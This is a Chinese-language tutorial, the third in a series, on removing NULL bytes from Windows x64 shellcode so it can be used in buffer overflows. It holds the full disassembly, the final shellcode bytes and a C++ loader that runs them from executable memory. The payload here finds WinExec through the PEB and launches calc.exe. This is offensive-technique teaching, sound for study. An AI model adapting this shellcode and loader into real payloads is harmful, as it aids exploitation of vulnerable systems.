Windows x64 ShellCode入门教程 03
Windows x64 ShellCode入门教程 03# Windows x64 ShellCode入门教程 03
现在终于到了我们清理代码并移除代码中NULL字节的时刻了。通过这种方式，我们就能在缓冲区溢出等场景中可靠地使用shellcode了。让我们开始吧！
我们将从包含NULL字节的代码开始。我会从本系列第一部分中使用的代码的底部开始，逐步向上分析。如果您需要随时参考该代码，在浏览器中打开一个单独的标签页可能会很有帮助。
00000000000000a5 <executeit>:
a5: 41 5f pop %r15
a7: b8 00 00 00 00 mov $0x0,%eax
ac: 50 push %rax
ad: 48 b8 63 61 6c 63 2e movabs $0x6578652e636c6163,%rax
b4: 65 78 65
b7: 50 push %rax
b8: 48 89 e1 mov %rsp,%rcx
bb: ba 01 00 00 00 mov $0x1,%edx
c0: 48 83 ec 30 sub $0x30,%rsp
c4: 41 ff d7 call *%r15
1
2
3
4
5
6
7
8
9
10
11
2
3
4
5
6
7
8
9
10
11
首次出现NULL字节的代码位于这一行：
b8 00 00 00 00 mov $0x0,%eax
1
这里引入NULL字节的原因是由于使用了mov指令来移动NULL字节用于终止字符串，目的是将寄存器eax清零，我们将用**异或（XOR）**指令替换这条MOV指令：
xor rax, rax
push rax
1
2
2
现在运行objdump并查看结果。已经没有零了：
48 31 c0 xor %rax,%rax
50 push %rax
1
2
2
好的，接下来是下一个有问题的地方，这一行：
ba 01 00 00 00 mov $0x1,%edx
1
我相信你已经弄明白了😸 我们只需要再把mov替换成xor就行了：
xor rdx, rdx
inc rdx
1
2
2
现在让我们再次查看objdump的输出，也没有零了。
48 31 d2 xor %rdx,%rdx
48 ff c2 inc %rdx
1
2
2
接下来是另外两个。它们来自**OrdinalLookup和OrdinalLookupSetup**。直接把这些行完全删掉就行。这些跳转是不必要的，我当初写这样的代码主要是用它们来帮助调试代码。好了，这很简单吧？
78 00 js 7b <OrdinalLookup>
78 00 js a5 <executeit>
1
2
2
好了，我们就快完成了！我们现在处于代码顶部的**main**函数中。你只需删除这一行：
eb 00 jmp 59 <kernel32findfunction>
1
接下来的这两个对我来说是最难解决的。我们需要保留字符串终止符，但又不想处理NULL字节。
; movabs一个典型用途是加载一个绝对的 64 位内存地址到寄存器中
48 b8 57 69 6e 45 78 movabs $0x636578456e6957,%rax
65 63 00
1
2
3
2
3
我们将使用一个巧妙的按位左移和右移技巧，在已存入内存的字符串后“实际”添加一个零。具体操作如下，我们会用nop作为占位符，替代通常会出现00的位置：
mov rax, 0x90636578456E6957 ;WinExec地址
shl rax, 0x8 ;636578456E695700 <--注意这里的90如何变成00
shr rax, 0x8 ;00636578456E6957 <-- 现在nop指令已经被0代替了，但是这个0值并不会出现在我们最终的机器码（shellcode）中
1
2
3
2
3
现在让我们查看objdump的输出。发现已经没有NULL值了！
48 c1 e0 08 shl $0x8,%rax
48 c1 e8 08 shr $0x8,%rax
50 push %rax
1
2
3
2
3
当我们push rax时，会看到熟悉的WinExec字符串，并且可以在shellcode中不包含NULL值的情况下满足保留它的需求。
现在就剩最后一个空值了！
8b 93 88 00 00 00 mov 0x88(%rbx),%edx
1
基本上，我们只需要将**[rbx+0x88]的十六进制值移到rdx**中。然而，我们并不能完全按照你预期的方式来做，这种“简单”的方法会产生空值。相反，我们需要这样做：
xor rcx, rcx ; Avoid null bytes from mov edx,[rbx+0x88] by using rcx register to add
add cx, 0x88ff ; add to lower portion of register
shr rcx, 0x8 ; shift right, which will remove the FF placeholder and leave the value we want: RCX = 0x88ff --> 0x88
mov edx, [rbx+rcx] ; EDX = [&NewEXEHeader + Offset RVA ExportTable] = RVA ExportTable
1
2
3
4
2
3
4
现在所有的空值都已被移除！我们现在可以获取新生成的shellcode（不含空值），并在缓冲区溢出中使用，无需担心任何与空值相关的问题。以下是我这边的objdump输出结果：
winexec_nonulls.obj: file format pe-x86-64
Disassembly of section .text:
0000000000000000 <main>:
0: 48 83 ec 28 sub $0x28,%rsp
4: 48 83 e4 f0 and $0xfffffffffffffff0,%rsp
8: 48 31 c9 xor %rcx,%rcx
b: 65 48 8b 41 60 mov %gs:0x60(%rcx),%rax
10: 48 8b 40 18 mov 0x18(%rax),%rax
14: 48 8b 70 10 mov 0x10(%rax),%rsi
18: 48 8b 36 mov (%rsi),%rsi
1b: 48 8b 36 mov (%rsi),%rsi
1e: 48 8b 5e 30 mov 0x30(%rsi),%rbx
22: 49 89 d8 mov %rbx,%r8
25: 8b 5b 3c mov 0x3c(%rbx),%ebx
28: 4c 01 c3 add %r8,%rbx
2b: 48 31 c9 xor %rcx,%rcx
2e: 66 81 c1 ff 88 add $0x88ff,%cx
33: 48 c1 e9 08 shr $0x8,%rcx
37: 8b 14 0b mov (%rbx,%rcx,1),%edx
3a: 4c 01 c2 add %r8,%rdx
3d: 44 8b 52 14 mov 0x14(%rdx),%r10d
41: 4d 31 db xor %r11,%r11
44: 44 8b 5a 20 mov 0x20(%rdx),%r11d
48: 4d 01 c3 add %r8,%r11
4b: 4c 89 d1 mov %r10,%rcx
4e: 48 b8 57 69 6e 45 78 movabs $0x90636578456e6957,%rax
55: 65 63 90
58: 48 c1 e0 08 shl $0x8,%rax
5c: 48 c1 e8 08 shr $0x8,%rax
60: 50 push %rax
61: 48 89 e0 mov %rsp,%rax
64: 48 83 c4 08 add $0x8,%rsp
0000000000000068 <kernel32findfunction>:
68: 67 e3 17 jecxz 82 <FunctionNameNotFound>
6b: 31 db xor %ebx,%ebx
6d: 41 8b 5c 8b 04 mov 0x4(%r11,%rcx,4),%ebx
72: 4c 01 c3 add %r8,%rbx
75: 48 ff c9 dec %rcx
78: 4c 8b 08 mov (%rax),%r9
7b: 4c 39 0b cmp %r9,(%rbx)
7e: 74 03 je 83 <FunctionNameFound>
80: 75 e6 jne 68 <kernel32findfunction>
0000000000000082 <FunctionNameNotFound>:
82: cc int3
0000000000000083 <FunctionNameFound>:
83: 51 push %rcx
84: 41 5f pop %r15
86: 4c 89 f9 mov %r15,%rcx
89: 4d 31 db xor %r11,%r11
8c: 44 8b 5a 24 mov 0x24(%rdx),%r11d
90: 4d 01 c3 add %r8,%r11
93: 48 ff c1 inc %rcx
96: 66 45 8b 2c 4b mov (%r11,%rcx,2),%r13w
9b: 4d 31 db xor %r11,%r11
9e: 44 8b 5a 1c mov 0x1c(%rdx),%r11d
a2: 4d 01 c3 add %r8,%r11
a5: 43 8b 44 ab 04 mov 0x4(%r11,%r13,4),%eax
aa: 4c 01 c0 add %r8,%rax
ad: 50 push %rax
ae: 41 5f pop %r15
b0: 48 31 c0 xor %rax,%rax
b3: 50 push %rax
b4: 48 b8 63 61 6c 63 2e movabs $0x6578652e636c6163,%rax
bb: 65 78 65
be: 50 push %rax
bf: 48 89 e1 mov %rsp,%rcx
c2: 48 31 d2 xor %rdx,%rdx
c5: 48 ff c2 inc %rdx
c8: 48 83 ec 30 sub $0x30,%rsp
cc: 41 ff d7 call *%r15
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
现在让我们转换为shellcode。这次我会使用Linux，并使用以下命令：
nasm -fwin64 winexec_nonulls.asm -o winexec_nonulls.o
for i in $(objdump -D winexec_nonulls.o | grep “^ “ | cut -f2); do echo -n “\x$i” ; done
1
2
3
2
3
这是我得到的结果：
"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b"
"\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89"
"\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9"
"\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20"
"\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65\x63\x90\x48\xc1"
"\xe0\x08\x48\xc1\xe8\x08\x50\x48\x89\xe0\x48\x83\xc4\x08\x67\xe3\x17\x31"
"\xdb\x41\x8b\x5c\x8b\x04\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b"
"\x74\x03\x75\xe6\xcc\x51\x41\x5f\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a\x24"
"\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c"
"\x4d\x01\xc3\x43\x8b\x44\xab\x04\x4c\x01\xc0\x50\x41\x5f\x48\x31\xc0\x50"
"\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\x31\xd2\x48"
"\xff\xc2\x48\x83\xec\x30\x41\xff\xd7";
1
2
3
4
5
6
7
8
9
10
11
12
2
3
4
5
6
7
8
9
10
11
12
让我们在一些实际代码中尝试使用它，以确保它能按预期工作。
#include <windows.h>
#include <iostream>
// Shellcode (as given, formatted for clarity)
unsigned char shellcode[] =
"\x48\x83\xec\x28\x48\x83\xe4\xf0\x48\x31\xc9\x65\x48\x8b\x41\x60\x48\x8b"
"\x40\x18\x48\x8b\x70\x10\x48\x8b\x36\x48\x8b\x36\x48\x8b\x5e\x30\x49\x89"
"\xd8\x8b\x5b\x3c\x4c\x01\xc3\x48\x31\xc9\x66\x81\xc1\xff\x88\x48\xc1\xe9"
"\x08\x8b\x14\x0b\x4c\x01\xc2\x44\x8b\x52\x14\x4d\x31\xdb\x44\x8b\x5a\x20"
"\x4d\x01\xc3\x4c\x89\xd1\x48\xb8\x57\x69\x6e\x45\x78\x65\x63\x90\x48\xc1"
"\xe0\x08\x48\xc1\xe8\x08\x50\x48\x89\xe0\x48\x83\xc4\x08\x67\xe3\x17\x31"
"\xdb\x41\x8b\x5c\x8b\x04\x4c\x01\xc3\x48\xff\xc9\x4c\x8b\x08\x4c\x39\x0b"
"\x74\x03\x75\xe6\xcc\x51\x41\x5f\x4c\x89\xf9\x4d\x31\xdb\x44\x8b\x5a\x24"
"\x4d\x01\xc3\x48\xff\xc1\x66\x45\x8b\x2c\x4b\x4d\x31\xdb\x44\x8b\x5a\x1c"
"\x4d\x01\xc3\x43\x8b\x44\xab\x04\x4c\x01\xc0\x50\x41\x5f\x48\x31\xc0\x50"
"\x48\xb8\x63\x61\x6c\x63\x2e\x65\x78\x65\x50\x48\x89\xe1\x48\x31\xd2\x48"
"\xff\xc2\x48\x83\xec\x30\x41\xff\xd7";
int main() {
void* exec_mem = VirtualAlloc(0, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (exec_mem == nullptr) {
std::cerr << "Memory allocation failed\n";
return -1;
}
memcpy(exec_mem, shellcode, sizeof(shellcode));
auto shellcode_func = reinterpret_cast<void(*)()>(exec_mem);
shellcode_func();
VirtualFree(exec_mem, 0, MEM_RELEASE);
return 0;
}
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
就是这样！无NULL字节的shellcode成功了😄 到目前为止，我在这个系列中玩得很开心，还有更多令人兴奋的内容即将到来。我仍然需要按承诺在某个时候完成动态消息框。一切都会在适当的时候进行。下次见！
上次更新: 2026/07/14, 19:37:40
本留言区仅对应当前文章，欢迎补充观点、提出问题或帮助修正文中疏漏。 留言由 GitHub/Gitalk 提供，需要使用 GitHub 登录。
社区交流
讨论与留言